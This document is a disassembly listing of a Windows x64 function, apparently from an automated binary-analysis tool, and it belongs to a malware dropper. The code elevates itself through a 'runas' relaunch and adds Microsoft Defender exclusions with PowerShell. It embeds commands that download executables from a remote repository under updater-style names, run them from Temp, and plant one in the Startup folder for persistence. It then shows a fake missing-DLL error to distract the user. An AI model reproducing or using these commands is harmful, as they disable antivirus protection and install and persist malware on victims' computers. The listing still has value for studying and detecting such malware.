Function at 0x140004ee0
Capabilities:
Create process on windows
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x310
mov rax, qword [0x14000d040]
xor rax, rsp
mov qword [rsp + 0x300], rax
xor ebx, ebx
mov dword [rsp + 0x34], ebx
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov qword [rsp + 0x40], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x40]
lea edx, [rbx + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x140005c9a
lea rax, [rsp + 0xe0]
mov qword [rsp + 0x20], rax
lea r9d, [rbx + 4]
lea r8, [rsp + 0x34]
mov esi, 0x14
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov rcx, qword [rsp + 0x40]
test eax, eax
je 0x140005c9a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x34], ebx
jbe 0x140005ca0
lea rax, [rsp + 0x128]
mov qword [rsp + 0x40], rax
call fcn.140005f00
mov r14d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x140], 7
mov word [rsp + 0x128], bx
mov dword [rsp + 0x34], 4
mov dword [rsp + 0x20], ebx
xor r9d, r9d
lea r8d, [rbx + 0x11]
lea rdx, str.do_not_delete.ini
mov ecx, eax
call fcn.140005f28
mov rdi, rax
shr rax, 0x20
test eax, eax
jne 0x140005d51
xor r8d, r8d
movsxd rdx, edi
lea rcx, [rsp + 0x128]
call fcn.140004610
lea r9, [rsp + 0x128]
cmp qword [rsp + 0x140], 7
cmova r9, qword [rsp + 0x128]
mov dword [rsp + 0x20], edi
mov r8d, 0x11
lea rdx, str.do_not_delete.ini
mov ecx, r14d
call fcn.140005f28
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140005d5d
xorps xmm0, xmm0
movups xmmword [rsp + 0x108], xmm0
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x120], 7
mov word [rsp + 0x108], bx
mov dword [rsp + 0x34], 0x13
mov word [rsp + 0x20], bx
mov r9d, 0x105
movzx r8d, byte [rsp + 0x30]
mov edx, r9d
lea rcx, [rsp + 0x108]
call fcn.140001b80
lea rcx, [rsp + 0x108]
cmp qword [rsp + 0x120], 7
cmova rcx, qword [rsp + 0x108]
call fcn.140006160
mov qword [rsp + 0x40], rax
mov ecx, eax
mov r8, qword [rsp + 0x118]
cmp rcx, r8
ja 0x1400050ff
lea rax, [rsp + 0x108]
cmp qword [rsp + 0x120], 7
cmova rax, qword [rsp + 0x108]
mov qword [rsp + 0x118], rcx
mov word [rax + rcx*2], bx
jmp 0x14000516d
mov rdx, rcx
sub rdx, r8
mov rdi, qword [rsp + 0x120]
mov rax, rdi
sub rax, r8
cmp rdx, rax
ja 0x140005152
mov qword [rsp + 0x118], rcx
lea r9, [rsp + 0x108]
cmp rdi, 7
cmova r9, qword [rsp + 0x108]
lea rdi, [r9 + r8*2]
test rdx, rdx
je 0x140005147
movzx eax, bx
mov rcx, rdx
rep stosw word [rdi], ax
lea rax, [r8 + rdx]
mov word [r9 + rax*2], bx
jmp 0x14000516d
mov word [rsp + 0x20], bx
mov r9, rdx
movzx r8d, byte [rsp + 0x30]
lea rcx, [rsp + 0x108]
call fcn.140001b80
mov eax, dword [rsp + 0x44]
cmp eax, 0xffffffff
jne 0x140005188
mov dword [rsp + 0x40], esi
lea rax, section..data
mov qword [rsp + 0x48], rax
jmp 0x14000519a
mov dword [rsp + 0x40], eax
lea rcx, [0x14000d010]
mov qword [rsp + 0x48], rcx
mov esi, eax
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x34], 0xb
test esi, esi
jne 0x140005d67
lea r8, [rsp + 0x128]
lea rdx, [rsp + 0x108]
lea rcx, [rsp + 0x148]
call fcn.140002e30
nop
mov rdx, qword [rsp + 0x120]
cmp rdx, 7
jbe 0x14000521e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x108]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005219
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005219
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006370
mov qword [rsp + 0x118], rbx
mov qword [rsp + 0x120], 7
mov word [rsp + 0x108], bx
mov rdx, qword [rsp + 0x140]
cmp rdx, 7
jbe 0x140005285
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005280
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006370
lea r12, [rsp + 0x148]
cmp qword [rsp + 0x160], 7
cmova r12, qword [rsp + 0x148]
mov r15, qword [rsp + 0x158]
call fcn.140005f00
mov r13d, eax
xorps xmm0, xmm0
movups xmmword [rsp + 0xe8], xmm0
mov qword [rsp + 0xf8], rbx
mov ecx, 0xf
mov qword [rsp + 0x100], rcx
mov byte [rsp + 0xe8], 0
mov dword [rsp + 0x34], 0x203
test r15, r15
je 0x140005400
cmp r15, 0x7fffffff
ja 0x140005d81
mov dword [rsp + 0x20], ebx
xor r9d, r9d
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.140005f70
mov r14, rax
shr rax, 0x20
test eax, eax
jne 0x140005d8c
movsxd rcx, r14d
mov rdx, qword [rsp + 0xf8]
cmp rcx, rdx
ja 0x140005351
lea rax, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0xf
cmova rax, qword [rsp + 0xe8]
mov qword [rsp + 0xf8], rcx
mov byte [rax + rcx], 0
jmp 0x1400053bc
mov rsi, rcx
sub rsi, rdx
mov rdi, qword [rsp + 0x100]
mov rax, rdi
sub rax, rdx
cmp rsi, rax
ja 0x14000539e
mov qword [rsp + 0xf8], rcx
lea rax, [rsp + 0xe8]
cmp rdi, 0xf
cmova rax, qword [rsp + 0xe8]
lea rdi, [rdx + rax]
mov r8, rsi
xor edx, edx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memset
mov byte [rsi + rdi], 0
jmp 0x1400053bc
mov byte [rsp + 0x20], 0
mov r9, rsi
movzx r8d, byte [rsp + 0x30]
mov rdx, rsi
lea rcx, [rsp + 0xe8]
call fcn.140001810
lea r9, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0xf
cmova r9, qword [rsp + 0xe8]
mov dword [rsp + 0x20], r14d
mov r8d, r15d
mov rdx, r12
mov ecx, r13d
call fcn.140005f70
mov rcx, rax
shr rax, 0x20
test eax, eax
jne 0x140005d99
mov rcx, qword [rsp + 0x100]
lea rdi, [rsp + 0xe8]
cmp rcx, 0xf
cmova rdi, qword [rsp + 0xe8]
lea r12, [0x140000000]
lea rax, [r12 + 0x87f0]
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x34], 0x5c3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x200]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1f0], r14
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1ec], edx
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea r15, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rsp + 0x200], r15
mov byte [rsp + 0x27c], 0
mov byte [rsp + 0x271], 0
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x280], rbx
mov rax, qword [0x14000d540]
mov qword [rsp + 0x274], rax
mov qword [rsp + 0x268], rbx
mov r9d, 0x40
lea r8d, [r9 - 0x3f]
mov rdx, rdi
lea rcx, [rsp + 0x200]
call fcn.140004150
test rax, rax
jne 0x140005532
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1f0], r14
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rsp + rcx + 0x1ec], edx
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1f0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator_bool_void_const___ptr64]
movzx esi, al
mov rcx, qword [rsp + 0x1f0]
movsxd rdx, dword [rcx + 4]
mov qword [rsp + rdx + 0x1f0], r14
mov rcx, qword [rsp + 0x1f0]
movsxd rdx, dword [rcx + 4]
lea edi, [rdx - 0xb0]
mov dword [rsp + rdx + 0x1ec], edi
lea rcx, [rsp + 0x200]
call fcn.140002b50
lea rcx, [rsp + 0x208]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x2a0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
test sil, sil
je 0x14000567e
mov rdx, qword [rsp + 0x100]
cmp rdx, 0xf
jbe 0x140005621
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000561c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005c93
call fcn.140006370
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0x100], 0xf
mov byte [rsp + 0xe8], 0
lea rcx, [rsp + 0x148]
call fcn.140003c00
xor eax, eax
mov rcx, qword [rsp + 0x300]
xor rcx, rsp
call fcn.140006490
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r13
ret
lea rdi, [rsp + 0xe8]
cmp qword [rsp + 0x100], 0xf
cmova rdi, qword [rsp + 0xe8]
lea rax, [r12 + 0x8808]
mov qword [rsp + 0x1f0], rax
lea rcx, [rsp + 0x298]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x34], 0xdc3
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x1f8]
lea rcx, [rsp + 0x1f0]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rsi, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x1f0], rsi
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1ec], edx
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
mov qword [rsp + 0x1f8], r15
mov byte [rsp + 0x274], 0
mov byte [rsp + 0x269], 0
lea rcx, [rsp + 0x1f8]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rsp + 0x278], rbx
mov rax, qword [0x14000d540]
mov qword [rsp + 0x26c], rax
mov qword [rsp + 0x260], rbx
mov r9d, 0x40
lea r8d, [r9 - 0x3e]
mov rdx, rdi
lea rcx, [rsp + 0x1f8]
call fcn.140004150
test rax, rax
jne 0x1400057a7
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea rax, [rsp + 0x1f0]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1f0], rsi
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1ec], edx
lea rdx, str.file_not_found
lea rcx, [rsp + 0x1f0]
call fcn.140001010
nop
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
mov qword [rsp + rcx + 0x1f0], rsi
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x1ec], edx
lea rcx, [rsp + 0x1f8]
call fcn.140002b50
lea rcx, [rsp + 0x200]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rsp + 0x298]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
xorps xmm0, xmm0
movups xmmword [rsp + 0x170], xmm0
mov qword [rsp + 0x180], rbx
mov qword [rsp + 0x188], 0xf
mov ecx, 0x30
call fcn.140006334
mov rdx, rax
mov qword [rsp + 0x170], rax
mov qword [rsp + 0x180], 0x2a
mov qword [rsp + 0x188], 0x2f
movups xmm0, xmmword [str.Set_MpPreference__ExclusionExtension_.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140008848]
movups xmmword [rax + 0x10], xmm1
movsd xmm0, qword [0x140008858]
movsd qword [rax + 0x20], xmm0
movzx eax, word [0x140008860]
mov word [rdx + 0x28], ax
mov byte [rdx + 0x2a], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x190], xmm0
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], 0xf
mov ecx, 0x30
call fcn.140006334
mov qword [rsp + 0x190], rax
mov qword [rsp + 0x1a0], 0x25
mov qword [rsp + 0x1a8], 0x2f
movups xmm0, xmmword [str.Add_MpPreference__ExclusionPath_C:]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140008878]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140008888]
mov dword [rax + 0x20], ecx
movzx ecx, byte [0x14000888c]
mov byte [rax + 0x24], cl
mov byte [rax + 0x25], 0
xorps xmm0, xmm0
movups xmmword [rsp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x1c0], xmm1
mov r8d, 0xc0
lea rdx, str.Invoke_WebRequest__Uri__https:__github.com_DscTerminator_SuspiciousExeFiles_raw_main_mainsilent.exe___OutFile___Env:Temp_edge_updater.exe___Start_Process__Filepath___Env:Temp_edge_updater.exe_
lea rcx, [rsp + 0x1b0]
call fcn.140001270
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rsp + 0x1e0], xmm1
mov r8d, 0xc2
lea rdx, str.Invoke_WebRequest__Uri__https:__github.com_DscTerminator_SuspiciousExeFiles_raw_main_chromev2.exe___OutFile___Env:Temp_chrome_updater.exe___Start_Process__Filepath___Env:Temp_chrome_updater.exe_
lea rcx, [rsp + 0x1d0]
call fcn.140001270
nop
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov ecx, 0x80
call fcn.140006334
mov rdi, rax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], rax
lea rcx, [rax + 0x80]
mov qword [rsp + 0x60], rcx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rsi, [rsp + 0x170]
mov qword [rsp + 0x108], rdi
mov qword [rsp + 0x110], rdi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x118], rax
mov rdx, rsi
mov rcx, rdi
call fcn.1400022a0
add rdi, 0x20
mov qword [rsp + 0x110], rdi
add rsi, 0x20
lea rax, [rsp + 0x1f0]
cmp rsi, rax
jne 0x1400059f5
mov qword [rsp + 0x58], rdi
lea r9, [fcn.140002c20]
mov edx, 0x20
lea r8d, [rdx - 0x1c]
lea rcx, [rsp + 0x170]
call fcn.140006264
mov rdi, qword [rsp + 0x50]
mov r14, qword [rsp + 0x58]
mov qword [rsp + 0xe0], r14
lea rsi, str.runas
lea r15, str.powershell.exe
mov qword [rsp + 0x40], rdi
cmp rdi, r14
je 0x140005b31
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x70], 0x70
mov dword [rsp + 0x74], 0x40
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r15
mov rax, rdi
cmp qword [rdi + 0x18], 0xf
jbe 0x140005ad7
mov rax, qword [rdi]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rbx
mov dword [rsp + 0xa0], ebx
mov qword [rsp + 0xa8], rbx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
nop
add rdi, 0x20
jmp 0x140005a5f
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x70], 0x70
mov dword [rsp + 0x74], 0x40
mov qword [rsp + 0x78], rbx
mov qword [rsp + 0x80], rsi
lea rax, str.cmd.exe
mov qword [rsp + 0x88], rax
lea rax, str._c_powershell.exe__Invoke_WebRequest__Uri__https:__github.com_DscTerminator_SuspiciousExeFiles_raw_main_firefoxv5.exe___OutFile___Env:APPDATAMicrosoftWindowsStart_MenuProgramsStartupwindows_updater.exe__
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rbx
mov dword [rsp + 0xa0], ebx
mov qword [rsp + 0xa8], rbx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
nop
jmp 0x140005bcb
mov r9d, 0x10
lea r8, str.System_Error
lea rdx, str.The_program_cant_start_because_MSCVP125.dll_is_missing_from_your_computer._Try_reinstalling_the_program_to_fix_this_problem.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140005c4d
lea r8, [rsp + 0x50]
mov rdx, qword [rsp + 0x58]
call fcn.140001470
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005c3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005c3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140006370
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], rbx
mov rdx, qword [rsp + 0x100]
cmp rdx, 0xf
jbe 0x140005621
inc rdx
mov rcx, qword [rsp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000561c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000561c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rsp + 0x70], xmm0
movups xmmword [rsp + 0x80], xmm0
movups xmmword [rsp + 0x90], xmm0
movups xmmword [rsp + 0xa0], xmm0
movups xmmword [rsp + 0xb0], xmm0
movups xmmword [rsp + 0xc0], xmm0
movups xmmword [rsp + 0xd0], xmm0
mov dword [rsp + 0x70], 0x70
mov dword [rsp + 0x74], 0x40
mov qword [rsp + 0x78], rbx
lea rsi, str.runas
mov qword [rsp + 0x80], rsi
mov r8d, 0x104
lea rdx, [rsp + 0x1f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea rax, [rsp + 0x1f0]
mov qword [rsp + 0x88], rax
xorps xmm0, xmm0
movdqa xmmword [rsp + 0x90], xmm0
mov dword [rsp + 0xa0], ebx
mov qword [rsp + 0xa8], rbx
lea rcx, [rsp + 0x70]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
shr rdi, 0x20
mov ecx, edi
call fcn.140003b50
int3
shr rcx, 0x20
call fcn.140003b50
nop
lea r8, [rsp + 0x108]
lea rdx, [rsp + 0x40]
lea rcx, str.temp_directory_path
call fcn.140003ab0
nop
mov ecx, 0x16
call fcn.140003b10
int3
shr r14, 0x20
mov ecx, r14d
call fcn.140003b50
int3
shr rcx, 0x20
call fcn.140003b50
int3